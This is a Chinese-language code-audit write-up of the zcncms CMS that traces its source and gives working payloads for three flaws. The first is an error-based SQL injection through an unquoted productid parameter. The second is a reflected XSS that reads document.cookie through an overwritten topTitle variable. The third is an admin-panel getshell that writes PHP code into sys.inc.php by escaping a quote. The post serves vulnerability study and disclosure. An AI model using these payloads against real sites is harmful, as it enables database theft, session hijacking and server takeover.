代码审计——zcncms几处漏洞合集(二)

from:小黑屋

继上一篇参数$parentid未正确处理后,在/module/products/admincontroller/products_photo.php中,

switch($a)
 {
 case 'list':default://list
 //列表
 if (empty($productid)) {
 $where = ' 1 = 1 ';
 } else {
 $where = " productid = '".$productid."' ";
 }

$pageListNum=12;//每页显示
 $totalPage=0;//总页数
 ----------------------------------------------------------------------
 case 'edit'://
 if(isset($submit)){
 $info = array();
 $time = time();
 if(isset($id)){
 $id = intval($id);
 if($id <= 0){
 errorinfo('变量错误','');
 }
 $infoold = $products_photo->GetInfo('',' id = '.$id);
 }

$productinfo = $products->GetInfo('',' id = '.$productid);
 //20120719
 checkClassPower('products',$productinfo['classid']);

当 $a的值为’list’时,$where = " productid = '".$productid."' ", $procuctid被单引号保护起来,参数引进是经过addslashes操作的,所以这里是安全的。但是当$a == ‘edit’时,$products->GetInfo('',' id = '.$productid),$productid被直接拼接到where语句中且没有单引号保护,导致SQL注入。构造payload如下:

http://127.0.0.1:8088/code_audit/zcncms/admin/?c=products_photo&a=edit&id=7
 POST:
 submit=&productid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

1

反射型xss

在后台登陆文件 /include/admincontroller/login.php中,进行登陆是否成功后,设置模板文件为’login.tpl.php’.

header("location:./");
 exit;
 } else {
 //echo 1;
 $loginerror = '用户名密码错误,请重新登陆.';
 $templatefile = 'login.tpl.php';
 }
 } else {
 $templatefile = 'login.tpl.php';
 }

跟踪到/admin/templates/default/login.tpl.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>
 <?php if(!empty($topTitle)) echo $topTitle.'-';?>
 <?php echo $sys['indextitle']; ?>-<?php echo $pagetitle;?></title>
 <meta name="keywords" content="<?php echo $sys['webkeywords']; ?>">
 <meta name="description" content="<?php echo $sys['webdescription']; ?>">

在<title>标签中要echo三个变量,其中会检查$topTitle是否为空,我们再控制器文件login.php中并未找到$topTitle的定义或初始化,由于之前参数输入特性,可以进行变量覆盖。

http://127.0.0.1:8088/code_audit/zcncms/admin/?c=login&topTitle=</title><script>alert(document.cookie)</script><script type="mce-no/type">// <![CDATA[ alert(document.cookie) // ]]></script>

2

后台getshell

在文件/include/admincontroller/sys.php中

$pagetitle = '基本信息';
 $pagepower = 'sys';
 //基本部分
 require('checkpower.inc.php');
 //功能部分
 include_once(WEB_INC.'file.class.php');
 include_once(WEB_INC.'string.class.php');
 if(isset($submit)){
 $FS = new files();
 $STR = new C_STRING();
 $info = array(
 'isclose' => $isclose,
 'closeinfo' => $closeinfo,
 'webtitle' => $webtitle,
 'indextitle' => $indextitle,
 'webkeywords' => $webkeywords,
 'webdescription' => $webdescription,
 'webcopyright' => $webcopyright,
 'webbeian' => $webbeian,
 'systemplates' => $systemplates,
 'linkurlmode' => $linkurlmode,
 );
 $rs_msg = $STR->safe($info);
 if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) {
 errorInfo('编辑成功');
 } else {
 errorInfo();

可编辑网站的基本信息并且存入sys.inc.php,$rs_msg = $STR->safe($info);但是$info经过了safe函数,我们跟踪safe函数

function safe($msg)
 {
 if(!$msg && $msg != '0')
 {
 return false;
 }
 if(is_array($msg))
 {
 foreach($msg AS $key=>$value)
 {
 $msg[$key] = $this->safe($value);
 }
 }
 else
 {
 $msg = trim($msg);
 //$old = array("&amp;","&nbsp;","'",'"',"\t","\r");
 //$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ","");
 $old = array("&amp;","&nbsp;","'",'"',"\t");
 $new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ");
 $msg = str_replace($old,$new,$msg);
 $msg = str_replace("&nbsp;&nbsp; ","&nbsp; &nbsp;",$msg);
 $old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU");
 $new = array("","","","","","");
 $msg = preg_replace($old,$new,$msg);
 }
 return $msg;

safe函数过滤了单双引号及常见的xss,我们再看看sys.inc.php

<?php
 $sys["isclose"] = '0';
 $sys["closeinfo"] = 'comming soon';
 $sys["webtitle"] = 'ZCNCMS';
 $sys["indextitle"] = 'ZCNCMS专注内容';
 $sys["webkeywords"] = 'ZCNCMS专注内容';
 $sys["webdescription"] = 'ZCNCMS专注内容';
 $sys["webcopyright"] = 'Copyright+©+1996-2012,+All+Rights+Reserved+ZCNCMS';
 $sys["webbeian"] = 'ZCNCMS专注内容';
 $sys["systemplates"] = 'default';
 $sys["linkurlmode"] = '0';

?>

我们继续跟踪sys.php中的写函数,file_Write()->_write()

//写入信息
 function _write($content,$file,$type="wb")
 {
 global $system_time;
 $content = stripslashes($content);
 $handle = $this->_open($file,$type);
 @fwrite($handle,$content);
 unset($content);
 $this->close($handle);
 //设置文件创建的时间
 $system_time = $system_time ? $system_time : time();
 @touch($file,$system_time);
 return true;
 }

发现经过一系列的安全处理后,写入前会进行stripslashes操作,但是之前单引号被替换了。这里想到了\
我们呢可以这样构造

http://127.0.0.1:8088/code_audit/zcncms/admin/?c=sys
 POST:
 isclose=0&closeinfo=1\&webtitle=;phpinfo();//&indextitle=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webkeywords=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webdescription=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webbeian=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webcopyright=Copyright+%C2%A9+1996-2012%2C+All+Rights+Reserved+ZCNCMS&linkurlmode=0&systemplates=default&submit=%E7%BC%96%E8%BE%91

将$sys[“closeinfo”]后面的单引号转义,使之和$sys[“webtitle”]的第一个单引号闭合,这样$sys[“webtitle”]的值就摆脱了单引号,再利用注释符”//“注释掉后面的单引号,中间直接可以写shell。执行完成后sys.inc.php如下

3

成功getshell

4

发表评论